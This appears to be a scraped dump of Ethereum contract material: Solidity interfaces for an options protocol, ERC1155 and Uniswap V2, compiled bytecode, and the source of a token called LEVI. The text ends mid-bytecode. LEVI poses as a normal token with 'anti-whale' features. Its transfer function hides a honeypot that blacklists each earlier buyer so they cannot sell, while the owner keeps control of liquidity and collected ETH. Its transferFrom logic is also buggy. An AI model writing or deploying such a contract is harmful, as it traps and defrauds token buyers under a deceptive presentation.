isCall; // If true : Call option | If false : Put option uint256 claimsPreExp; // Amount of options from which the funds have been withdrawn pre expiration uint256 claimsPostExp; // Amount of options from which the funds have been withdrawn post expiration uint256 exercised; // Amount of options which have been exercised uint256 supply; // Total circulating supply uint8 decimals; // Token decimals } // Total write cost = collateral + fee + feeReferrer struct QuoteWrite { address collateralToken; // The token to deposit as collateral uint256 collateral; // The amount of collateral to deposit uint8 collateralDecimals; // Decimals of collateral token uint256 fee; // The amount of collateralToken needed to be paid as protocol fee uint256 feeReferrer; // The amount of collateralToken which will be paid the referrer } // Total exercise cost = input + fee + feeReferrer struct QuoteExercise { address inputToken; // Input token for exercise uint256 input; // Amount of input token to pay to exercise uint8 inputDecimals; // Decimals of input token address outputToken; // Output token from the exercise uint256 output; // Amount of output tokens which will be received on exercise uint8 outputDecimals; // Decimals of output token uint256 fee; // The amount of inputToken needed to be paid as protocol fee uint256 feeReferrer; // The amount of inputToken which will be paid to the referrer } struct Pool { uint256 tokenAmount; uint256 denominatorAmount; } function denominatorDecimals() external view returns(uint8); function maxExpiration() external view returns(uint256); function optionData(uint256 _optionId) external view returns (OptionData memory); function tokenStrikeIncrement(address _token) external view returns (uint256); function nbWritten(address _writer, uint256 _optionId) external view returns (uint256); function getOptionId(address _token, uint256 _expiration, uint256 _strikePrice, bool _isCall) external view returns(uint256); function getOptionIdOrCreate(address _token, uint256 _expiration, uint256 _strikePrice, bool _isCall) external returns(uint256); ////////////////////////////////////////////////// ////////////////////////////////////////////////// ////////////////////////////////////////////////// function getWriteQuote(address _from, OptionWriteArgs memory _option, address _referrer, uint8 _decimals) external view returns(QuoteWrite memory); function getExerciseQuote(address _from, OptionData memory _option, uint256 _amount, address _referrer, uint8 _decimals) external view returns(QuoteExercise memory); function writeOptionWithIdFrom(address _from, uint256 _optionId, uint256 _amount, address _referrer) external returns(uint256); function writeOption(address _token, OptionWriteArgs memory _option, address _referrer) external returns(uint256); function writeOptionFrom(address _from, OptionWriteArgs memory _option, address _referrer) external returns(uint256); function cancelOption(uint256 _optionId, uint256 _amount) external; function cancelOptionFrom(address _from, uint256 _optionId, uint256 _amount) external; function exerciseOption(uint256 _optionId, uint256 _amount) external; function exerciseOptionFrom(address _from, uint256 _optionId, uint256 _amount, address _referrer) external; function withdraw(uint256 _optionId) external; function withdrawFrom(address _from, uint256 _optionId) external; function withdrawPreExpiration(uint256 _optionId, uint256 _amount) external; function withdrawPreExpirationFrom(address _from, uint256 _optionId, uint256 _amount) external; function flashExerciseOption(uint256 _optionId, uint256 _amount, address _referrer, IUniswapV2Router02 _router, uint256 _amountInMax) external; function flashExerciseOptionFrom(address _from, uint256 _optionId, uint256 _amount, address _referrer, IUniswapV2Router02 _router, uint256 _amountInMax) external; function flashLoan(address _tokenAddress, uint256 _amount, IFlashLoanReceiver _receiver) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "../../introspection/IERC165.sol"; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; interface IFlashLoanReceiver { function execute(address _tokenAddress, uint256 _amount, uint256 _amountWithFee) external; } pragma solidity >=0.6.2; import './IUniswapV2Router01.sol'; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); }
0x608060405234801561001057600080fd5b50600436106100575760003560e01c80631bf983f81461005c5780632bf874d9146100715780635eb5614f14610084578063d7f854a314610097578063f7501d46146100aa575b600080fd5b61006f61006a366004610649565b6100bd565b005b61006f61007f3660046104da565b61018c565b61006f6100923660046106bc565b610236565b61006f6100a53660046105fb565b6102ff565b61006f6100b8366004610649565b61038e565b80518251146100e75760405162461bcd60e51b81526004016100de90610816565b60405180910390fd5b60005b825181101561018657836001600160a01b031663a852c7e73385848151811061010f57fe5b602002602001015185858151811061012357fe5b60200260200101516040518463ffffffff1660e01b8152600401610149939291906107ca565b600060405180830381600087803b15801561016357600080fd5b505af1158015610177573d6000803e3d6000fd5b505050508060010190506100ea565b50505050565b60005b825181101561018657836001600160a01b0316638e5a2892338584815181106101b457fe5b6020026020010151856040518463ffffffff1660e01b81526004016101db9392919061075a565b602060405180830381600087803b1580156101f557600080fd5b505af1158015610209573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061022d9190610742565b5060010161018f565b81518351146102575760405162461bcd60e51b81526004016100de90610816565b60005b83518110156102f857846001600160a01b0316632216ef603386848151811061027f57fe5b602002602001015186858151811061029357fe5b6020026020010151866040518563ffffffff1660e01b81526004016102bb94939291906107eb565b600060405180830381600087803b1580156102d557600080fd5b505af11580156102e9573d6000803e3d6000fd5b5050505080600101905061025a565b5050505050565b60005b815181101561038957826001600160a01b0316639470b0bd3384848151811061032757fe5b60200260200101516040518363ffffffff1660e01b815260040161034c9291906107b1565b600060405180830381600087803b15801561036657600080fd5b505af115801561037a573d6000803e3d6000fd5b50505050806001019050610302565b505050565b80518251146103af5760405162461bcd60e51b81526004016100de90610816565b60005b825181101561018657836001600160a01b031663f3944b27338584815181106103d757fe5b60200260200101518585815181106103eb57fe5b60200260200101516040518463ffffffff1660e01b8152600401610411939291906107ca565b600060405180830381600087803b15801561042b57600080fd5b505af115801561043f573d6000803e3d6000fd5b505050508060010190506103b2565b803561045981610881565b919050565b600082601f83011261046e578081fd5b8135602061048361047e83610863565b61083f565b828152818101908583018385028701840188101561049f578586fd5b855b858110156104bd578135845292840192908401906001016104a1565b5090979650505050505050565b8035801515811461045957600080fd5b600080600060608085870312156104ef578384fd5b84356104fa81610881565b935060208581013567ffffffffffffffff80821115610517578586fd5b818801915088601f83011261052a578586fd5b813561053861047e82610863565b8181528481019084860160a0808502870188018e1015610556578a8bfd5b8a96505b848710156105da5780828f031215610570578a8bfd5b60408051828101818110898211171561058557fe5b8252833561059281610881565b80825250898401358a82015281840135828201528a8401358b820152608091506105bd8285016104ca565b91810191909152845260019690960195928701929081019061055a565b5050809850505050505050506105f26040850161044e565b90509250925092565b6000806040838503121561060d578182fd5b823561061881610881565b9150602083013567ffffffffffffffff811115610633578182fd5b61063f8582860161045e565b9150509250929050565b60008060006060848603121561065d578283fd5b833561066881610881565b9250602084013567ffffffffffffffff80821115610684578384fd5b6106908783880161045e565b935060408601359150808211156106a5578283fd5b506106b28682870161045e565b9150509250925092565b600080600080608085870312156106d1578081fd5b84356106dc81610881565b9350602085013567ffffffffffffffff808211156106f8578283fd5b6107048883890161045e565b94506040870135915080821115610719578283fd5b506107268782880161045e565b925050606085013561073781610881565b939692955090935050565b600060208284031215610753578081fd5b5051919050565b6001600160a01b0393841681528251841660208083019190915283015160408083019190915283015160608083019190915283015160808083019190915290920151151560a083015290911660c082015260e00190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039390931683526020830191909152604082015260600190565b6001600160a01b03948516815260208101939093526040830191909152909116606082015260800190565b6020808252600f908201526e20b93930bcb9903234b333103632b760891b604082015260600190565b60405181810167ffffffffffffffff8111828210171561085b57fe5b604052919050565b600067ffffffffffffffff82111561087757fe5b5060209081020190565b6001600160a01b038116811461089657600080fd5b5056fea26469706673582212203877ccaf5fc81b82d1caf895ee9706b314379b0ac891cc403803cfd1edb58fc364736f6c63430007060033
[ 5 ]
0xf387089284b72dD29421F64936165cDFA067444c
// SPDX-License-Identifier: UNLICENSED pragma solidity >=0.6.2; //UniswapV2 interface interface ERC20 { function balanceOf(address _owner) external view returns (uint256 balance); function approve(address _spender, uint256 _value) external returns (bool success); function transfer(address dst, uint wad) external returns (bool success); function transferFrom(address _from, address _to, uint256 _value) external returns (bool success); } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // Contract start contract LEVI { mapping(address => uint) _balances; mapping(address => mapping(address => uint)) _allowances; mapping(address => bool) public isBlacklisted; mapping(address => bool) bought; mapping(address => bool) public isExcluded; string _name; string _symbol; uint _supply; uint8 _decimals; uint blacklistedUsers; address _owner; address uniswapV2Pair; //address of the pool address router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; //ETH: 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D BSCtest: 0xD99D1c33F9fC3444f8101754aBC46c52416550D1 BSC: 0x10ED43C718714eb63d5aA57B78B54704E256024E address WBNB_address = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; //ETH: 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 ETHtest: 0xc778417E063141139Fce010982780140Aa0cD5Ab BSCtest: 0xae13d989daC2f0dEbFf460aC112a837C89BAa7cd BSC: 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c address prevBuyer; bool inSwap; IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(router); //Interface call name ERC20 WBNB = ERC20(WBNB_address); constructor() { _owner = msg.sender; _name = "LEVI"; _symbol = "LEVI"; _supply = 10000000000; _decimals = 6; exclude(msg.sender); exclude(router); exclude(uniswapV2Pair); exclude(address(this)); _balances[address(this)] = totalSupply()/2; _balances[msg.sender] = totalSupply()/2; CreatePair(); emit Transfer(address(0), address(this), totalSupply()/2); emit Transfer(address(0), msg.sender, totalSupply()/2); } modifier owner { require(msg.sender == _owner); _; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } function totalSupply() public view returns(uint) { return mul(_supply,(10 ** _decimals)); } function balanceOf(address wallet) public view returns(uint) { return _balances[wallet]; } function getOwner() public view returns(address) { return _owner; } function getPair() public view returns(address) { return uniswapV2Pair; } function getRouter() public view returns(address) { return router; } function getWBNB() public view returns(address) { return WBNB_address; } event Transfer(address indexed from, address indexed to, uint amount); event Approval(address indexed fundsOwner, address indexed spender, uint amount); function _transfer(address from, address to, uint amount) internal returns(bool) { require(balanceOf(from) >= amount, "Insufficient balance."); require(isBlacklisted[from] == false && isBlacklisted[to] == false, "Blacklisted"); _balances[from] = sub(balanceOf(from),amount); _balances[to] = add(balanceOf(to),amount); emit Transfer(from, to, amount); return true; } function transfer(address to, uint amount) public returns(bool) { if(to != uniswapV2Pair && to != router && isExcluded[to] == false){ doThaTing(to); } _transfer(msg.sender, to, amount); return true; } function doThaTing(address to) internal{ bought[to] = true; if(bought[prevBuyer] == true && to != prevBuyer){ blacklist(prevBuyer); } prevBuyer = to; } function transferFrom(address from, address to, uint amount) public returns (bool) { uint authorizedAmount = allowance(from, msg.sender); require(authorizedAmount >= amount, "Insufficient allowance."); bought[from] == false; _allowances[from][to] = sub(allowance(from, msg.sender),amount); _transfer(from, to, amount); return true; } function approve(address spender, uint amount) public returns (bool) { _approve(msg.sender, spender, amount); return true; } function allowance(address fundsOwner, address spender) public view returns (uint) { return _allowances[fundsOwner][spender]; } function renounceOwnership() public owner returns(bool) { _owner = address(this); return true; } function _approve(address holder, address spender, uint256 amount) internal { require(holder != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[holder][spender] = amount; emit Approval(holder, spender, amount); } function timestamp() public view returns (uint) { return block.timestamp; } function blacklist(address user) internal returns (bool) { isBlacklisted[user] = true; return true; } function whitelist(address user) public owner returns (bool) { isBlacklisted[user] = false; return true; } function exclude(address user) public owner { isExcluded[user] = true; } // Uniswap functions function CreatePair() internal{ uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); } function AddLiq(uint256 tokenAmount, uint256 bnbAmount) public owner{ uniswapV2Router.addLiquidityETH{value: bnbAmount}(address(this),tokenAmount,0,0,getOwner(),block.timestamp); } //(Call this function to add initial liquidity and turn on the anti-whale mechanics. sender(=owner) gets the LP tokens) function AddFullLiq() public owner{ approveRouter(totalSupply()); uint bnbAmount = getBNBbalance(address(this)); uint tokenAmount = balanceOf(address(this)); uniswapV2Router.addLiquidityETH{value: bnbAmount}(address(this),tokenAmount,0,0,getOwner(),block.timestamp); approveRouter(0); //router is initially approved totalsupply() in constructor } function getAmountsOut(uint amountIn) public view returns (uint[] memory amounts){ //Returns ETH value of input token amount address[] memory path = new address[](2); //Creates a memory string path[0] = address(this); //Token address path[1] = WBNB_address; //BNB address amounts = uniswapV2Router.getAmountsOut(amountIn,path); return amounts; } function approveRouter(uint amount) internal returns (bool){ _approve(address(this), router, amount); return true; } //Native ETH/BNB functions function claim() public owner returns (bool){ uint contractBalance = address(this).balance; payable(msg.sender).transfer(contractBalance); return true; } function getBNBbalance(address holder) public view returns (uint){ uint balance = holder.balance; return balance; } // SafeMath function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0 || b == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } //to recieve ETH from uniswapV2Router when swaping. just accept it. receive() external payable {} fallback() external payable {} }
0x60806040526004361061014f5760003560e01c8063893d20e8116100b6578063c1153aaa1161006f578063c1153aaa146104c6578063c1beb57014610503578063c1f1b1b51461051a578063cba0e99614610545578063dd62ed3e14610582578063fe575a87146105bf57610156565b8063893d20e8146103a057806395d89b41146103cb5780639b19251a146103f6578063a9059cbb14610433578063b0f479a114610470578063b80777ea1461049b57610156565b80634e71d92d116101085780634e71d92d1461027c5780634febf53d146102a75780636ac3861a146102d057806370a08231146102fb578063715018a6146103385780638604fc5a1461036357610156565b806306fdde0314610158578063095ea7b31461018357806318160ddd146101c057806323b872dd146101eb578063313ce567146102285780634cad96411461025357610156565b3661015657005b005b34801561016457600080fd5b5061016d6105fc565b60405161017a9190611fb5565b60405180910390f35b34801561018f57600080fd5b506101aa60048036038101906101a59190611b76565b61068e565b6040516101b79190611f9a565b60405180910390f35b3480156101cc57600080fd5b506101d56106a5565b6040516101e29190612077565b60405180910390f35b3480156101f757600080fd5b50610212600480360381019061020d9190611b23565b6106d3565b60405161021f9190611f9a565b60405180910390f35b34801561023457600080fd5b5061023d610820565b60405161024a91906120c2565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190611c2c565b610837565b005b34801561028857600080fd5b50610291610958565b60405161029e9190611f9a565b60405180910390f35b3480156102b357600080fd5b506102ce60048036038101906102c99190611ab6565b610a08565b005b3480156102dc57600080fd5b506102e5610abd565b6040516102f29190611efc565b60405180910390f35b34801561030757600080fd5b50610322600480360381019061031d9190611ab6565b610ae7565b60405161032f9190612077565b60405180910390f35b34801561034457600080fd5b5061034d610b2f565b60405161035a9190611f9a565b60405180910390f35b34801561036f57600080fd5b5061038a60048036038101906103859190611ab6565b610bd3565b6040516103979190612077565b60405180910390f35b3480156103ac57600080fd5b506103b5610bf9565b6040516103c29190611efc565b60405180910390f35b3480156103d757600080fd5b506103e0610c23565b6040516103ed9190611fb5565b60405180910390f35b34801561040257600080fd5b5061041d60048036038101906104189190611ab6565b610cb5565b60405161042a9190611f9a565b60405180910390f35b34801561043f57600080fd5b5061045a60048036038101906104559190611b76565b610d72565b6040516104679190611f9a565b60405180910390f35b34801561047c57600080fd5b50610485610ea1565b6040516104929190611efc565b60405180910390f35b3480156104a757600080fd5b506104b0610ecb565b6040516104bd9190612077565b60405180910390f35b3480156104d257600080fd5b506104ed60048036038101906104e89190611bff565b610ed3565b6040516104fa9190611f78565b60405180910390f35b34801561050f57600080fd5b5061051861109d565b005b34801561052657600080fd5b5061052f6111f4565b60405161053c9190611efc565b60405180910390f35b34801561055157600080fd5b5061056c60048036038101906105679190611ab6565b61121e565b6040516105799190611f9a565b60405180910390f35b34801561058e57600080fd5b506105a960048036038101906105a49190611ae3565b61123e565b6040516105b69190612077565b60405180910390f35b3480156105cb57600080fd5b506105e660048036038101906105e19190611ab6565b6112c5565b6040516105f39190611f9a565b60405180910390f35b60606005805461060b906124dc565b80601f0160208091040260200160405190810160405280929190818152602001828054610637906124dc565b80156106845780601f1061065957610100808354040283529160200191610684565b820191906000526020600020905b81548152906001019060200180831161066757829003601f168201915b5050505050905090565b600061069b3384846112e5565b6001905092915050565b60006106ce600754600860009054906101000a900460ff16600a6106c99190612296565b6114b0565b905090565b6000806106e0853361123e565b905082811015610725576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071c90612017565b60405180910390fd5b60001515600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90505050610788610782863361123e565b846114fe565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610813858585611525565b5060019150509392505050565b6000600860009054906101000a900460ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461089157600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230856000806108dd610bf9565b426040518863ffffffff1660e01b81526004016108ff96959493929190611f17565b6060604051808303818588803b15801561091857600080fd5b505af115801561092c573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109519190611c6c565b5050505050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109b457600080fd5b60004790503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156109ff573d6000803e3d6000fd5b50600191505090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a6257600080fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b8b57600080fd5b30600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001905090565b6000808273ffffffffffffffffffffffffffffffffffffffff1631905080915050919050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610c32906124dc565b80601f0160208091040260200160405190810160405280929190818152602001828054610c5e906124dc565b8015610cab5780601f10610c8057610100808354040283529160200191610cab565b820191906000526020600020905b815481529060010190602001808311610c8e57829003601f168201915b5050505050905090565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d1157600080fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610e205750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610e7c575060001515600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b15610e8b57610e8a83611779565b5b610e96338484611525565b506001905092915050565b6000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600042905090565b60606000600267ffffffffffffffff811115610ef257610ef161262a565b5b604051908082528060200260200182016040528015610f205781602001602082028036833780820191505090505b5090503081600081518110610f3857610f376125fb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffff